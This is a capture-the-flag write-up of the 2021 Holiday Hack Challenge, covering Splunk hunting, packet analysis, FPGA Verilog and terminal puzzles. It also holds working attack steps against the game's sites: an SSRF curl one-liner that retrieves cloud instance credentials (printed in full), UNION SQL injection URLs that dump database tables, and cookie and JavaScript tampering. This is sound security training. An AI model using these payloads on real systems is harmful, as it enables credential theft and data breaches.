Help Angel Candysalt solve the Splunk challenge in Santa’s great hall. Fitzy Shortstack is in Santa’s lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?
Hints obtained at: Yara Analysis - Fitzy Shortstack
Admittedly I have spent some time now working with Splunk professionally so I found this challenge to be relatively easy and more or less just went after the answers in a way that felt natural for me.
Greetings North Pole visitor! I’m Angel Candysalt!
A euphemism? No, that’s my name. Why do people ask me that?
Anywho, I’m back at Santa’s Splunk terminal again this year.
There’s always more to learn!
Take a look and see what you can find this year.
With who-knows-what going on next door, it never hurts to have sharp SIEM skills!
Task 1
Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.
SQ: index=* source="Journald:Microsoft-Windows-Sysmon/Operational" user=eddie CommandLine=*git*
ANS: git status
Task 2
Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the ‘partnerapi’ repo. The correct one!
SQ: index=* source="Journald:Microsoft-Windows-Sysmon/Operational" user=eddie CommandLine=*git* | table CommandLine | stats count by CommandLine
ANS: git@github.com:elfnp3/partnerapi.git
Task 3
The ‘partnerapi’ project that Eddie worked on uses Docker. Gather the full docker command line that Eddie used to start the ‘partnerapi’ project on his workstation.
SQ: index=* source="Journald:Microsoft-Windows-Sysmon/Operational" user=eddie CommandLine=*docker* | table CommandLine | stats count by CommandLine
ANS: docker compose up
Task 4
Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.
SQ: index=* sourcetype=github_json
ANS: https://github.com/snoopysecurity/dvws-node
Task 5
Santa asked Eddie to add a JavaScript library from NPM to the ‘partnerapi’ project. Determine the name of the library and record it here for our workshop documentation.
SQ: index=* user=eddie npm partnerapi | table CommandLine
ANS: holiday-utils-js
Task 6
Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.
SQ: index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) | table process_name
ANS: /usr/bin/nc.openbsd
Task 7
Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don’t indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.
SQ: index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) EventDescription="Process creation" nc.openbsd
SQ: index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) EventDescription="Process creation" ParentProcessId=6788 | table CommandLine
ANS: 6
Task 8
Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.
SQ: index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational user=eddie NOT dest_ip IN (127.0.0.*) CommandLine=*.sh* | table CommandLine
ANS: preinstall.sh
Done
Thank you for helping Santa complete his investigation! Santa says you're a whiz!
Objective answer: whiz
Yay! You did it!
Objective 10 - Now Hiring
What is the secret access key for the Jack Frost Tower job applications server? Brave the perils of Jack’s bathroom to get hints from Noxious O. D’or.
Hints obtained at: IMDS Exploration - Noxious O. D’or
So this one is interesting, there is Frost Tower Team application site where you can apply, one of the input fields is meant to be used to lookup their naughty list status by providing an NLBI url. However, there do not seem to be any checks on this and the site will make a request to any address put in this space. Further, because it is expecting a mugshot more or less with the NLBI report it attempts to display the data as an image afterward, but this image will contain the request data for any address entered into the site. After some playing around I used this one-liner to make the request and pull the data in one go.
$ curl -sI 'https://apply.jackfrosttower.com/?inputName=C77&inputEmail=w%40w.com&inputPhone=0123456789&inputField=Aggravated+pulling+of+hair&resumeFile=&additionalInformation=None&submit=&inputWorkSample=http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role' && curl https://apply.jackfrosttower.com/images/C77.jpg
HTTP/2 200
server: nginx/1.16.1
date: Mon, 13 Dec 2021 04:07:03 GMT
content-type: text/html; charset=UTF-8
x-powered-by: PHP/7.3.14
via: 1.1 google
alt-svc: clear
{
"Code": "Success",
"LastUpdated": "2021-05-02T18:50:40Z",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
"SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
"Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
"Expiration": "2026-05-02T18:50:40Z"
}
Answer: CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX
Objective 11 - Customer Complaint Analysis
A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.
Hints obtained at: Strace Ltrace Retrace - Tinsel Upatree
The objective provides the file jackfrosttower-network.zip
, which contains a pcap file, jackfrosttower-network.pcap
Search for our guest based on them using a non-compliant host ip.flags.rb == 0
name=Muffy+VonDuchess+Sebastian&troll_id=I+don%27t+know.+There+were+several+of+them.&guest_info=Room+1024&description=I+have+never%2C+in+my+life%2C+been+in+a+facility+with+such+a+horrible+staff.+They+are+rude+and+insulting.+What+kind+of+place+is+this%3F+You+can+be+sure+that+I+%28or+my+lawyer%29+will+be+speaking+directly+with+Mr.+Frost%21&submit=Submit
Use our target information to search the rest of the TCP streams.
name=Yaqh&troll_id=2796&guest_info=Snooty+lady+in+room+1024&description=Lady+call+desk+and+ask+for+more+towel.+Yaqh+take+to+room.+Yaqh+ask+if+she+want+more+towel+because+she+is+like+to+steal.+She+say+Yaqh+is+insult.+Yaqh+is+not+insult.+Yaqh+is+Yaqh.&submit=Submit
name=Flud&troll_id=2083&guest_info=Very+cranky+lady+in+room+1024&description=Lady+call+front+desk.+Complain+%22employee%22+is+rude.+Say+she+is+insult+and+want+to+speak+to+manager.+Send+Flud+to+room.+Lady+say+troll+call+her+towels+thief.+I+say+stop+steal+towels+if+is+bother+her.&submit=Submit
name=Hagg&troll_id=2013&guest_info=Incredibly+angry+lady+in+room+1024&description=Lady+call+front+desk.+I+am+walk+by+so+I+pick+up+phone.+She+is+ANGRY+and+shout+at+me.+Say+she+has+never+been+so+insult.+I+say+she+probably+has+but+just+didn%27t+hear+it.&submit=Submit
Answer: Flud Hagg Yaqh
Objective 12 - Frost Tower Website Checkup
Investigate Frost Tower’s website for security issues. This source code will be useful in your analysis. In Jack Frost’s TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa’s dining room, may have some pointers for you.
Hints obtained at:
Hey there! I’m Ingreta Tude. I really don’t like the direction Jack Frost is leading us.
He seems obsessed with beating Santa and taking over the holiday season. It just doesn’t seem right.
Why can’t we work together with Santa and the elves instead of trying to beat them?
But, I do have an Objective for you. We’re getting ready to launch a new website for Frost Tower, and the big guy has charged me with making sure it’s secure.
My sister, Ruby Cyster, created this site, and I don’t trust the results.
Can you please take a look at it to find flaws?
Here is the source code if you need it.
An issue located in the source code, creating a /contact
that has an email that already exists in the database, sets the UniqueID session cookie, then you can manually navigate to /dashboard
and access several resources that only perform a check to see if you have a valid UqigueID session set.
Now that we have a little more acess there is another problem located in the source code where the application is using the mysql.raw function inside of an escape function without realizing this raw function will override any attempt to escape the string.
I modeled the sql string creation behavior for testing using https://codesandbox.io
Javascript:
var m = require('mysql');
var reqparam = '0,1 UNION Select 2,3,4 --';
var query1 = "SELECT * FROM uniquecontact WHERE id=";
var query2 = "SELECT * FROM uniquecontact WHERE id=";
if (reqparam.indexOf(',') > 0){
var ids = reqparam.split(',');
reqparam = "0";
for (var i=0; i<ids.length; i++){
query1 += m.escape(m.raw(ids[i]));
query1 += " OR id=";
query2 += m.escape(ids[i]);
query2 += " OR id=";
}
query1 += "?";
query2 += "?";
}else{
query1 = "SELECT * FROM uniquecontact WHERE id=?";
query2 = "SELECT * FROM uniquecontact WHERE id=?";
}
var q1 = m.format(query1, [reqparam]);
var q2 = m.format(query2, [reqparam]);
document.getElementById('1').innerHTML = q1;
document.getElementById('2').innerHTML = q2;
Html:
<!DOCTYPE html>
<html>
<head>
<title>Sandbox</title>
<meta charset="UTF-8" />
</head>
<body>
<h4>This is procees by mysql.raw() inside of a mysql.escape():</h4>
<div id="1"></div>
<h4>This is the same query process only by mysql.escape():</h4>
<div id="2"></div>
<script src="src/index.js"></script>
</body>
</html>
Used this query to look for other table names.
https://staging.jackfrosttower.com/detail/10,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT name from users)b JOIN (SELECT table_name FROM information_schema.tables)c JOIN (SELECT user_status from users)d JOIN (SELECT token from users)e JOIN (SELECT 6)f JOIN (SELECT 7)g --
Found todo
Used this to list todo collumn names.
https://staging.jackfrosttower.com/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT name from users)b JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='todo')c JOIN (SELECT user_status from users)d JOIN (SELECT token from users)e JOIN (SELECT 6)f JOIN (SELECT 7)g --
found:
id
note
completed
https://staging.jackfrosttower.com/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT note from todo)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g --
Answer: clerk
- Buy up land all around Santa's Castle
- Build bigger and more majestic tower next to Santa's
- Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
- Dishearten Santa's elves and encourage defection to our cause
- Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
- Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
- Force Santa to cancel Christmas
- SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
- With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him
Oh wow - I thought we left SQL injection in the last decade.
Thanks for your help finding this!
Objective 13 - FPGA Programming
Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack’s elevator.
Hints obtained at:
Greetings Earthling! I’m Crunchy Squishter.
Hey, could you help me get this device on the table working? We’ve cobbled it together with primitive parts we’ve found on your home planet.
We need an FPGA though - and someone who knows how to program them.
If you haven’t talked with Grody Goiterson by the Frostavator, you might get some FPGA tips there.
## EE/CS 302 - Exercise #4
Hello, students! In exercise #4, we continue our FPGA journey, documenting the creation of the sound chip for this holiday season's new _Kurse 'em Out Karen_ doll. Our goal is to make the doll say its [trademark phrase](https://fpga.jackfrosttower.com/?challenge=fpga&id=98498d52-006a-40f4-8db0-977f789aac31&username=Wheatley&area=rooftop&location=10,10#). But, as I always tell you in class, we must walk before we run.
Before the doll can say anything, we must first have it make noise. In this exercise you will design an FPGA module that creates a square wave tone at a variable frequency.
Creating a square wave output takes our clock signal (which is also a square wave) and uses a counter to divide the clock to match the desired frequency. One tricky problem that we'll encounter is that Verilog (v1364-2005) doesn't have a built-in mechanism to _round_ real numbers to integers, so you'll need to devise a means to do that correctly if you want your module to match frequencies accurately.
Good luck and always remember:
If $rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4, add 1
### - Prof. Qwerty Petabyte
Starting with:
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
// (0 - 9999.99Hz) formatted as follows:
// 32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!
`timescale 1ns/1ns
module tone_generator (
input clk,
input rst,
input [31:0] freq,
output wave_out
);
// ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ----
// ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
// TODO: Add your code below.
// Remove the following line and add your own implementation.
// Note: It's silly, but it compiles...
assign wave_out = (clk | rst | (freq > 0));
endmodule
My Final Solution.
I think I approached rounding a little differently from most given a suggestion was made in the opening notes. Instead of doing the multiply by 10 check, I decided to add everything after the decimal point to the counter before rounding.
Essentially it works like this.
If your clock for example works out to 1.49
then you are adding 1.49 + .49
for a total of 1.98
which will then be chopped to 1
in the rtoi
instruction. So if you have anything .5
or higher you will be above the next whole number and the rtoi
instruction will truncate it to 2
instead.
//DoTheDangThing
`timescale 1ns/1ns
module tone_generator (
input clk,
input rst,
input [31:0] freq,
output wave_out
);
// ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ----
reg [31:0] counter;
reg wave;
assign wave_out = wave;
real clk_freq = 125 * 1e6;
real tgt_freq = freq / 1e2;
real clk_on = 50.0 / 100.0 * (1.0 / (tgt_freq / clk_freq));
always @(posedge clk or posedge rst)
begin
if(rst==1)
begin
counter <= 0;
wave <= 0;
end
else
begin
if (counter == 0)
begin
counter <= $rtoi(clk_on-1+(clk_on - $rtoi(clk_on)));
wave <= ~wave;
end
else
begin
counter <= counter -1;
end
end
end
endmodule
Thank you! Now we’re able to communicate with the rest of our people!
Terminals and Challenges
Exif Metadata - Piney Sappington
Provides hints for: Objective 2 - Where in the World is Caramel Santaigo
Hi ho, Piney Sappington at your service!
Well, honestly, I could use a touch of your services.
You see, I’ve been looking at these documents, and I know someone has tampered with one file.
Do you think you could log into this Cranberry Pi and take a look?
It hasexiftool
installed on it, if that helps you at all.
I just… Well, I have a feeling that someone at that other conference might have fiddled with things.
And, if you help me figure this tampering issue out, I’ll give you some hints about OSINT, especially associated with geographic locations!
HELP! That wily Jack Frost modified one of our naughty/nice records, and right before Christmas! Can you help us figure out which one? We've installed exiftool for your convenience!
Filename (including .docx extension) >
elf@73c09edacfeb:~$ exiftool 2021-12-*.docx | grep -E '^File Name|^Last Mod' | grep -B 1 Jack
File Name: : 2021-12-21.docx
Last Modified By : Jack Frost
HELP! That wily Jack Frost modified one of our naughty/nice records, and right before Christmas! Can you help us figure out which one? We've installed exiftool for your convenience!
Filename (including .docx extension) > 2021-12-21.docx
Your answer: 2021-12-21.docx
Checking........
Wow, that's right! We couldn't have done it without your help! Congratulations!
Wow, you figured that out in no time! Thanks!
I knew they were up to no good.
So hey, have you tried the Caramel Santaigo game in this courtyard?
Carmen? No, I haven’t heard of her.
So anyway, some of the hints use obscure coordinate systems like MGRS and even what3words.
In some cases, you might get an image with location info in the metadata. Good thing you know how to see that stuff now!
(And they say, for those who don’t like gameplay, there might be a way to bypass by looking at some flavor of cookie…)
And Clay Moody is giving a talk on OSINT techniques right now!
Oh, and don’t forget to learn about your target elf and filter in the InterRink system!
Grepping for Gold - Greasy GopherGuts
Provides hints for: Objective 3 - Thaw Frost Tower’s Entrance
Grnph. Blach! Phlegm.
I’m Greasy Gopherguts. I need help with parsing some Nmap output.
If you help me find some results, I’ll give you some hints about Wi-Fi.
Click on the terminal next to me and read the instructions.
Maybe search for a cheat sheet if the hints in the terminal don’t do it for ya'.
You’ll typequizme
in the terminal andgrep
through the Nmap bigscan.gnmap file to find answers.
Howdy howdy! Mind helping me with this homew- er, challenge?
Someone ran nmap -oG on a big network and produced this bigscan.gnmap file.
The quizme program has the questions and hints and, incidentally,
has NOTHING to do with an Elf University assignment. Thanks!
Answer all the questions in the quizme executable:
- What port does 34.76.1.22 have open?
- What port does 34.77.207.226 have open?
- How many hosts appear "Up" in the scan?
- How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)
- How many hosts with status Up have no (detected) open TCP ports?
- What's the greatest number of TCP ports any one host has open?
Check out bigscan.gnmap and type quizme to answer each question.
- What port does 34.76.1.22 have open?
elf@431ec00dc1bb:~$ grep '34.76.1.22' bigscan.gnmap
Host: 34.76.1.22 () Status: Up
Host: 34.76.1.22 () Ports: 62078/open/tcp//iphone-sync/// Ignored State: closed (999)
- What port does 34.77.207.226 have open?
elf@431ec00dc1bb:~$ grep '34.77.207.226' bigscan.gnmap
Host: 34.77.207.226 () Status: Up
Host: 34.77.207.226 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (999)
- How many hosts appear “Up” in the scan?
elf@431ec00dc1bb:~$ grep 'Status: Up' bigscan.gnmap | wc -l
26054
- How many hosts have a web port open? (Let’s just use TCP ports 80, 443, and 8080)
elf@431ec00dc1bb:~$ cat bigscan.gnmap | grep -E '80\/open|443\/open|8080\/open' | wc -l
14372
- How many hosts with status Up have no (detected) open TCP ports?
elf@431ec00dc1bb:~$ cat bigscan.gnmap | grep -A 1 'Status: Up' | grep Status | wc -l
26054
elf@431ec00dc1bb:~$ cat bigscan.gnmap | grep -A 1 'Status: Up' | grep Port | wc -l
25652
elf@431ec00dc1bb:~$ expr 26054 - 25652
402
- What’s the greatest number of TCP ports any one host has open?
elf@431ec00dc1bb:~$ cat bigscan.gnmap | grep -A 1 'Status: Up' | grep Ports | grep -E '(.*open.*){12,}' | head -n 1 | grep -o open | wc -l
12
Feeding our findings into the quizme
app.
elf@431ec00dc1bb:~$ quizme
What port does 34.76.1.22 have open?
Please enter your answer or press h for a hint: 62078
That's correct!
We used this as a solution:
grep 34.76.1.22 bigscan.gnmap
This looks for "34.76.1.22" in the bigscan.gnmap file and shows us every place where it shows up. In the results, we see:
62078/open/tcp//iphone-sync///
This tells us port TCP 62078 was found open by nmap.
You have 5 challenges left.
elf@431ec00dc1bb:~$ quizme
What port does 34.77.207.226 have open?
Please enter your answer or press h for a hint: 8080
That's correct!
We used this as a solution:
grep 34.77.207.226 bigscan.gnmap
Like the previous challenge, this searches the nmap output file for a specific IP address. In the output, we see TCP port 8080 is open:
8080/open/tcp//http-proxy///
You have 4 challenges left.
elf@431ec00dc1bb:~$ quizme
How many hosts appear "Up" in the scan?
Please enter your answer or press h for a hint: 26054
That's correct!
We used this as a solution:
grep Up bigscan.gnmap | wc -l
Running the grep part of the command returns every line with "Up" in it, and wc counts the bytes, characters, words, and lines that come out of grep. Using "-l" only shows lines.
You have 3 challenges left.
elf@431ec00dc1bb:~$ quizme
How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)
Please enter your answer or press h for a hint: 14372
That's correct!
We used this as a solution:
grep -E "(80|443|8080)/open" bigscan.gnmap | wc -l
Using "-E" tells grep we"re giving it a regular expression (regex). In this case, that regex says, "I want lines that have 8080/open, 443/open, or 80/open."
If you want to be MORE correct, you might use "(\s8080|\s443|\s80)/open" to ensure you don't snag ports like 50080, but there weren't any in this file.
You have 2 challenges left.
elf@431ec00dc1bb:~$ quizme
How many hosts with status Up have no (detected) open TCP ports?
Please enter your answer or press h for a hint: 402
That's correct!
We used this as a solution:
echo $((`grep Up bigscan.gnmap | wc -l` - `grep Ports bigscan.gnmap | wc -l`))
Our solution is a little fancy, but the crux is this: use one grep|wc command to count how many hosts are "Up", and use another to count how many have "Ports" open.
You have 1 challenge left.
elf@431ec00dc1bb:~$ quizme
What's the greatest number of TCP ports any one host has open?
Please enter your answer or press h for a hint: 12
That's correct!
We used this as a solution:
grep -E "(open.*){12,}" bigscan.gnmap | wc -l && grep -E "(open.*){13,}" bigscan.gnmap | wc -l
In our solution, we count how many lines have "open" in them a number of times. We get a few for 12 and none for 13.
One crafty tester employed the mighty powers of awk like this:
awk 'BEGIN {print}{print gsub(/open/,"") ""}' bigscan.gnmap | sort -nr | head -1
You've done it!
Grnph. Blach! Phlegm.
Grack. Ungh. … Oh!
You really did it?
Well, OK then. Here’s what I know about the wifi here.
Scanning for Wi-Fi networks with iwlist will be location-dependent. You may need to move around the North Pole and keep scanning to identify a Wi-Fi network.
Wireless in Linux is supported by many tools, butiwlist
andiwconfig
are commonly used at the command line.
Thecurl
utility can make HTTP requests at the command line!
By default,curl
makes an HTTP GET request. You can add--request POST
as a command line argument to make an HTTP POST request.
When sending HTTP POST, add--data-binary
followed by the data you want to send as the POST body.
Logic Munchers - Noel Boetie
Provides hints for: Objective 4 - Slot Machine Investigation
Hello there! Noel Boetie here. We’re all so glad to have you attend KringleCon IV and work on the Holiday Hack Challenge!
I’m just hanging out here by the Logic Munchers game.
You know… logic: that thing that seems to be in short supply at the tower on the other side of the North Pole?
Oh, I’m sorry. That wasn’t terribly kind, but those frosty souls do confuse me…
Anyway, I’m working my way through this Logic Munchers game.
A lot of it comes down to understanding boolean logic, likeTrue And False
isFalse
, butTrue And True
isTrue
.
It can get a tad complex in the later levels.
I need some help, though. If you can show me how to complete a stage in Potpourri at the Intermediate (Stage 3) or higher, I’ll give you some hints for how to find vulnerabilities.
Specifically, I’ll give you some tips in finding flaws in some of the web applications I’ve heard about here at the North Pole, especially those associated with slot machines!
This is an odd little game where you slide around and eat and squares that evaluate to True
, it features a mix of Boolean logic, arithmetic expressions, number conversions, and bitwise operators.
If you complete an intermediate (stage 3) round of Potpourri you get some information from Noel Boetie.
Initially I just played the game as it was designed to complete this. However, just for fun, I revisited this little game after completing all of the objectives and made a few snippets of code to game the game so to speak. You can see those efforts in the Just for Fun section.
Wow - amazing score! Great work!
So hey, those slot machines. It seems that in his haste, Jack bought some terrible hardware.
It seems they’re susceptible to parameter tampering.
You can modify web request parameters with an intercepting proxy or tools built into Firefox.
IPv6 Sandbox - Jewel Loggins
Provides hints for: Objective 5 - Strange USB Device
This one is pretty straightforward, do some IPv6 enumeration and retrieve the striper’s activation code.
Well hello! I’m Jewel Loggins.
I have to say though, I’m a bit distressed.
The con next door? Oh sure, I’m concerned about that too, but I was talking about the issues I’m having with IPv6.
I mean, I know it’s an old protocol now, but I’ve just never checked it out.
So now I’m trying to do simple things like Nmap and cURL using IPv6, and I can’t quite get them working!
Would you mind taking a look for me on this terminal?
I think there’s a Github Gist that covers tool usage with IPv6 targets.
The tricky parts are knowing when to use[]
around IPv6 addresses and where to specify the source interface.
I’ve got a deal for you. If you show me how to solve this terminal, I’ll provide you with some nice tips about a topic I’ve been researching a lot lately – Ducky Scripts! They can be really interesting and fun!
Tools:
* netcat
* nmap
* ping / ping6
* curl
Welcome, Kringlecon attendee! The candy striper is running as a service on this terminal, but I can't remember the password. Like a sticky note under the keyboard, I put the password on another machine in this network. Problem is: I don't have the IP address of that other host.
Please do what you can to help me out. Find the other machine, retrieve the password, and enter it into the Candy Striper in the pane above. I know you can get it running again!
elf@a25cafc2386b:~$ ping6 ff02::1 -c2 | grep '64 bytes' | awk '{print $4}' |rev | cut -c2- | rev | sort -u >> targets
elf@a25cafc2386b:~$ nmap -6 -iL targets
Starting Nmap 7.70 ( https://nmap.org ) at 2021-12-12 02:13 UTC
Nmap scan report for fe80::42:76ff:fe48:3440
Host is up (0.00016s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap scan report for fe80::42:c0ff:fea8:a002
Host is up (0.00033s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
9000/tcp open cslistener
Nmap scan report for fe80::42:c0ff:fea8:a003
Host is up (0.00032s latency).
All 1000 scanned ports on fe80::42:c0ff:fea8:a003 are closed
Nmap scan report for fe80::42:c0ff:fea8:a004
Host is up (0.00015s latency).
All 1000 scanned ports on fe80::42:c0ff:fea8:a004 are closed
Nmap done: 4 IP addresses (4 hosts up) scanned in 13.14 seconds
elf@a25cafc2386b:~$ curl --interface eth0 -g -6 'http://[fe80::42:c0ff:fea8:a002]/'
<html>
<head><title>Candy Striper v6</title></head>
<body>
<marquee>Connect to the other open TCP port to get the striper's activation phrase!</marquee>
</body>
</html>
elf@a25cafc2386b:~$ nc -6 fe80::42:c0ff:fea8:a002%eth0 9000
PieceOnEarth
Great work! It seems simpler now that I’ve seen it once. Thanks for showing me!
Prof. Petabyte warned us about random USB devices. They might be malicious keystroke injectors!
A troll could program a keystroke injector to deliver malicious keystrokes when it is plugged in.
Ducky Script is a language used to specify those keystrokes.
What commands would a troll try to run on our workstations?
I heard that SSH keys can be used as backdoors. Maybe that’s useful?
Holiday Hero - Chimney Scissorsticks
Provides hints for: Objective 6 - Shellcode Primer
Woo! I’m Chimney Scissorsticks, and I’m having a great time up here!
I’ve been hanging out with all these NetWars players and not worrying about what’s going on next door.
In fact, I’ve really been having fun playing with this Holiday Hero terminal. You can use it to generate some jamming holiday tunes that help power Santa’s sleigh!
It’s more fun to play with a friend but I’ve also heard there’s a clever way to enable single player mode.
Single player mode? I heard it can be enabled by fiddling with two client-side values, one of which is passed to the server.
It’s so much more fun and easier with a friend though!
Either way, we’d really appreciate your help getting the sleigh all fueled up.
Then I can get back to thinking about shellcode…
Holiday Hero is a rhythm game where you have to hit the assigned buttons as each note passes behind a marker. The game is set up to default to a multiplayer mode where you are paired with another player accessing the challenge and each of you controls one side of the screen. To complete the challenge you both have to complete the game together with enough accuracy to power Santa’s sleigh over the 80% mark.
However, like most game-type challenges there is more than one way to approach them. As noted by Chimney there may be a way to enable single-player mode thus removing the internet stranger as a requirement for your success.
Our first clue is the HOHOHO
cookie set by the games window.
HOHOHO:"%7B%22single_player%22%3Afalse%7D"
So let’s manually modify that cookie value uding our browsers developer tools and set single_player
to true
HOHOHO:"%7B%22single_player%22%3Atrue%7D"
That does not appear to be enough on its own to allow us to play the game by ourselves. Diggin through the games javascript holidayhero.min.js
we find one more check that needs to be passed and it is a variable set int he global space.
single_player_mode = !1,
So we can simple override that variable in our developer console.
single_player_mode = true
After setting the variable we receive a message Player 2 (COMPUTER) has joined!
and then we simply play our side of the game while the computer plays a perfect game in the player 2 spot.
You did it - rock on! We’re all set now that the sleigh is fueled!
So hey, let me talk to you a bit about manual exploitation.
If you run into any shellcode primers at the North Pole, be sure to read the directions and the comments in the shellcode source!
Also, troubleshooting shellcode can be difficult. Use the debugger step-by-step feature to watch values.
Lastly, be careful not to overwrite any register values you need to reference later on in your shellcode.
That’s it! I know you can do it!
HoHo … No - Eve Snowshoes
Provides hints for: Objective 8 - Kerberoasting on an Open Fire
Hey there, how’s it going? I’m Eve Snowshoes.
Lately I’ve been spending a lot of cycles worrying about what’s going on next door.
Before that, I was checking out Fail2Ban.
It’s this slick log scanning tool for Apache web servers.
If you can complete this terminal challenge, I’d be happy to give you some things I’ve learned about Kerberoasting and Active Directory permissions!
Why don’t you do some work with Fail2Ban on this Cranberry Pi terminal first, then we’ll talk Kerberoasting and Active Directory. OK?
This challenge is all about setting up a custom fail2ban config.
Jack is trying to break into Santa's workshop!
Santa's elves are working 24/7 to manually look through logs, identify the
malicious IP addresses, and block them. We need your help to automate this so
the elves can get back to making presents!
Can you configure Fail2Ban to detect and block the bad IPs?
* You must monitor for new log entries in /var/log/hohono.log
* If an IP generates 10 or more failure messages within an hour then it must
be added to the naughty list by running naughtylist add <ip>
/root/naughtylist add 12.34.56.78
* You can also remove an IP with naughtylist del <ip>
/root/naughtylist del 12.34.56.78
* You can check which IPs are currently on the naughty list by running
/root/naughtylist list
You'll be rewarded if you correctly identify all the malicious IPs with a
Fail2Ban filter in /etc/fail2ban/filter.d, an action to ban and unban in
/etc/fail2ban/action.d, and a custom jail in /etc/fail2ban/jail.d. Don't
add any nice IPs to the naughty list!
*** IMPORTANT NOTE! ***
Fail2Ban won't rescan any logs it has already seen. That means it won't
automatically process the log file each time you make changes to the Fail2Ban
config. When needed, run /root/naughtylist refresh to re-sample the log file
and tell Fail2Ban to reprocess it.
filter.d
[Definition]
failregex = Failed.*from.<HOST>
Invalid.*from.<HOST>
Login.from.<HOST>.rejected
<HOST>.sent.a.malformed.request
jail.d
[hohono]
enabled = true
logpath = /var/log/hohono.log
filter = hohono
action = hohono
maxretry = 10
findtime = 1h
bantime = 1h
action.d
[Definition]
actionban = /root/naughtylist add <ip>
actionunban = /root/naughtylist del <ip>
[Init]
Done
root@a32cd671a08e:~# cd /etc/fail2ban/
root@a32cd671a08e:/etc/fail2ban# vi filter.d/hohono.conf
root@a32cd671a08e:/etc/fail2ban# vi action.d/hohono.conf
root@a32cd671a08e:/etc/fail2ban# vi jail.d/hohono.conf
root@ea03572dc3ba:/etc/fail2ban# fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/hohono.conf
Running tests
=============
Use failregex filter file : hohono, basedir: /etc/fail2ban
Use log file : /var/log/hohono.log
Use encoding : UTF-8
Results
=======
Failregex: 4156 total
|- #) [# of hits] regular expression
| 1) [1101] Failed.*from.<HOST>
| 2) [1025] Invalid.*from.<HOST>
| 3) [1021] Login.from.<HOST>.rejected
| 4) [1009] <HOST>.sent.a.malformed.request
`-
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [33599] {^LN-BEG}ExYear(?P<_sep>[-/.])Month(?P=_sep)Day(?:T| ?)24hour:Minute:Second(?:[.,]Microseconds)?(?:\s*Zone offset)?
`-
Lines: 33599 lines, 0 ignored, 4156 matched, 29443 missed
[processed in 3.03 sec]
Missed line(s): too many to print. Use --print-all-missed to print all 29443 lines
root@ea03572dc3ba:/etc/fail2ban# service fail2ban restart * Restarting Authentication failure monitor fail2ban [ OK ]
root@ea03572dc3ba:/etc/fail2ban#
root@ea03572dc3ba:/etc/fail2ban# /root/naughtylist refresh
Refreshing the log file...
